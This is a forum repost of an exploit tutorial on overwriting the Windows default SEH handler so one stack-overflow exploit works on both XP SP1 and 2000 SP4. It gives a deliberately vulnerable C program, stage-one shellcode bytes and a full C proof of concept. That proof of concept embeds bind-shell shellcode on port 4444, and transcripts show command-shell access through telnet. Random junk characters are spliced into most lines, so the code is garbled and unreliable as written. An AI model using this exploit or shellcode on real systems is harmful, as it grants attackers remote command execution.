QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2410|回复: 0
打印 上一主题 下一主题

Exploiting Default Exception Handler to Increase Exploit Sta

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-19 10:39 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.  F/ c7 T1 h- G! ~9 H

2 G2 i: L7 s! o' j1 K8 v[Buf] <- Shellcode
4 ?% ~2 z9 }  |; [! O6 E[Return Address] <- jmp register (for Windows XP sp1)" c1 k; z2 R2 }( T3 X  D
[Various Stack Data] <- Junk, Z5 M5 n4 _0 h1 r0 g! N: ^' M% R
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward! E  l/ G( y4 c5 M$ @# n
[SE Handler] <- jmp register (for Win2k sp4)
4 C( _! }! M; p. {2 ]7 j$ ~[Stage1 Shellcode] <- stage1 shellcode for win2k
* G$ g$ n7 a2 B2 u& m# z8 U% r4 f, w
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses* A/ V' J( y6 n0 J6 D3 t; y

3 ?5 c1 h; ]/ x9 g! b; ~" |3 ^  mNecessary Tools:
2 C6 y6 a. U4 ^' j7 s/ U- OllyDBG
( d* {6 `% b0 u# _- C/C++ Compiler7 `% n$ R5 q; _$ c5 T
- nasm
. I( n" V: K# [- s, r" R- Sac. \0 |$ q! [# t/ d' a* q% z3 ?. v% l

/ ^: L: Y) B& v$ G$ ~9 Y/ L' }( KVulnerable Code:) f8 u+ x0 H# j8 K& B  h" J
//lamebuf.c  s5 `+ N0 N# r6 v7 O
#include<stdio.h>; r, h4 {1 M1 D0 ?
#include<string.h>
* u* s- b7 `: t- N: |' H" @$ p; _#include<windows.h>
7 g2 f3 t. U9 rint main(int argc,char *argv[]){, u( M/ n; M' Y/ w; S  A( L% c
/ t! K8 r( S% ~$ L( s- q3 g0 [
char buf[512];7 K( t; E- I3 @5 S: T' u- B) Q
char buf1[1024]; // <- simulate a stack5 q' @9 f8 H. @; Y
//DebugBreak();; T( k3 u) B& u1 M( Z; l8 B2 f. g# v
if (argc != 2){ return -1; }
: L% B7 C$ m( U  e5 I3 P& L9 @- Z9 K" q1 A: Y
strcpy(buf,argv[1]);: S  G/ z" Y6 N3 ]* w" H
return 0x0;
9 {# q* ^. ~4 C4 Q  g1 C}# i, t7 }! b2 Q
2 D- [0 \1 \6 P" r2 ~2 @
Getting Started:/ J2 p% @# t: e* ]# g
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:. D3 J* j5 S& n; N9 I" i. @* S8 t! ^
1 L$ W0 ^: Y, b
EAX 00000000
! |, Y$ W& l9 p+ NECX 00321404# M7 H! \) W  F- T% V" {
EDX 004141412 @, Y/ a" h5 q
EBX 7FFDF000. X9 [- h' }% ~0 E: r2 x
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
* R3 W" Z( d. U( }EBP 41414141
$ _6 ~8 J% Q  K( M4 j, d0 aESI 77D4595F
9 ^* o; m( k3 J$ g) G; oEDI 77F59037 ntdll.77F590379 e+ h* Q7 \5 b
EIP 414141418 Y$ w4 ~, ^8 f

* C5 ?2 d+ C7 f( k- g5 I+ JLets take a look at the stack and see what happened to the default exception handler:7 W( s1 f! R/ R( G4 ~
0x0012FFB0 41414141 Pointer to next SEH Record. H2 `% w' B0 I& m5 r9 k5 A
0x0012FFB4 41414141 SE Handler
) w. v- b. \/ {8 v6 B5 j
- q% q+ o0 D3 H) H2 b6 c% fWe successfully overwrote the return address and the default exception handler.
; \7 M9 @! x5 s
& @. e- e# ?8 xPrimary Return Address (Windows XP SP1 EN):$ q2 D( ~' a, s* M# C+ f- d- u
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:
+ u/ d  z7 _8 f: {7 U"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"% W8 f, i, @6 g% H' `) e$ h6 u
! Z7 D" v" \3 v, n" i5 h
Secondary Return Address (Windows 2000 SP4 EN):
/ G+ D; K1 u/ {- t4 EThe secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:
1 J( D; e$ P# y7 F, b, h# d- v"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"3 V* ^1 O1 ~& d/ f+ N

" T* U7 q7 l4 [8 ?8 ^* h  nProof Of Concept:  `" B7 Q0 P( y8 a7 [" S' O
// exploit.c
4 M) r+ `5 A; U// Tal zeltzer - [Double Return] //
" Q' b! a& ~" Y8 _- Q9 D/ o' u4 c) g
#include<stdio.h>
2 B% k# u: a" m#include<string.h>
# _. j2 T/ B4 ?& q; G( U! ]0 n#include<windows.h>. |. k  {8 \: U- x: g

* f3 W1 e9 O" c6 f#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp
/ J/ |: d; j5 r, r#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx9 V8 r6 u+ ^% l; m

% I3 Y* P5 T) r/ j// Stage1 For WinXP Sp1 English
, R2 I# }, G9 F* ]unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";
9 S1 ^- E3 a' o. @7 v6 T3 I- [- a( m! E4 f
// Stage1 For Win2k Sp4 English5 _4 D4 r; M: t! X! I1 N7 S% o
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";
- C( J# u) O- `! ?. _: r$ y
4 X$ i9 V4 T: Y2 `// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com
  I1 c+ k0 I" u0 z" Y  b' p, F4 qunsigned char shellcode[] =
* B  w; R$ ^, Q( |9 E4 N"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"' `+ d8 Q# @8 j' @; [- r
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
0 X' Y0 Z* W5 l"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"( I+ Y" Z# S" B' O+ q. m
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
' K4 @0 Z% L# t1 u  J& \"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
6 i3 z4 N! }, @"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"% y7 ]! ~) w0 F; z
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
% ~6 J" Y5 {8 k2 m% N"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
" b5 Z$ }- E& Q3 `! C"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"; ~& N" y# A5 K6 X4 d
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"! r* V3 F5 C" e+ Q2 o: [
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"3 F; j' v% B$ D6 B5 w
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
8 Y# k7 A0 F6 }* C, L"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
5 M  Q$ ?- ?! P1 m, a3 C"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"9 {1 H7 W! P0 m7 H! l
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
& ^  g& ]7 q* O& F"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"/ J7 b3 C8 z9 c& P+ {0 y# G% _
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
* X9 t/ C* ~- h# t, B0 S- P# y9 I/ M"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
* ~2 d+ T% r/ _- L, I"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8": y* e9 V. f. w7 @
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
: r6 h8 m8 A% {$ ~3 E- \"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
! r+ J" z! x* l1 f"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27", d% l, ?( c" y! H' v
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2", \3 m; g. @! o* }; B4 a% Y
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
/ Z/ U' k( Z# {  d# l4 h"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
3 [" V& {8 o$ z+ z; M3 I* i. b/ z

2 f* E0 J; F- [$ ^int main(int argc,char *argv[]){5 n: F6 C! T3 K, E8 o
( ?: X* {4 g6 c; c0 v% a, }
char *bufExe[3];: i7 j3 g) z1 K2 r( t# |
char buf[2048];, J* k" i3 T5 P: f
bufExe[0] = "lamebuf.exe";5 ]$ j4 V& z0 ^" d& j+ U
bufExe[2] = NULL;# x7 w* p- m5 h  a
+ m: T: J7 p: O# ]  J, C0 c* P
memset(buf,0x0,sizeof(buf));
  o/ k/ E  w& K, B' T1 U3 K3 ymemset(buf,0x90,1652);
- {+ ~( y2 S  L5 ~memcpy(&buf[24],shellcode,sizeof(shellcode)-1);
  r' O# {6 A, M. A& V$ M$ k' h" A3 O" P- q6 v+ W
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode& A( b' ^" k# x0 {( V/ L
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode
2 b$ L* _2 G1 I, |7 N1 d
; i; J5 }: f: k*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en
8 _( D8 }4 Z: W- g/ [7 {*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code1 k  L% Q* X2 X+ s, l0 {* A
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en
* u# ~+ Z$ V# Q/ k! M/ N5 h2 |/ |# T  z. k0 r

: f, C* G6 V' j3 I3 X5 d% }$ K! bbufExe[1] = buf;
0 W0 J6 ~0 s7 p  u, c1 f( p3 j//Execute the vulnerable application
* J1 F2 ]( _+ M  k: ]/ [- H; G) nexecve(bufExe[0],bufExe,NULL);8 V/ P: a3 g- L
8 ]# S3 N0 n4 D6 v6 c) {3 Z
return 0x0;( ]9 g7 D( I; R! k" z
}8 l* _2 R) M4 V# Y0 a: l. m
+ F4 W+ }9 b! Z- Q
Exploit under Windows XP SP1:
7 T* Y; R/ K1 ]C:\>exploit: O5 n$ {7 P7 s0 @
C:\>
8 H  Y" g# R  s8 j1 B# |7 b: ]+ xC:\>telnet 127.0.0.1 4444
# q" f2 V5 n: e. y( U0 _- l/ Y( f; S0 C8 v# k" Z) d
Microsoft Windows XP [Version 5.1.2600]
& }, `- D1 z/ e(C) Copyright 1985-2001 Microsoft Corp.
5 p) U6 R1 e2 ^  O3 v
8 B- j& |9 `! yC:\>
" _4 j9 L4 g: e% F, W  k: l
& e6 n5 ^' a0 o7 ^- L% z( oExploit under Windows 2000 SP4:; w. x/ _) ^3 j9 U8 a
C:\>exploit
, J: s. Y" O! T& L' NC:\>1 k. @: j" E- f& Z; u; m! J: r0 A' [
C:\>telnet 127.0.0.1 4444
% `/ ]8 p/ c1 W0 C2 b4 ~; m0 B) W$ I  t
Microsoft Windows 2000 [Version 5.00.2195]1 z; l* ^. I) l9 U
(C) Copyright 1985-2000 Microsoft Corp.
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-11 02:27 , Processed in 0.419680 second(s), 51 queries .

回顶部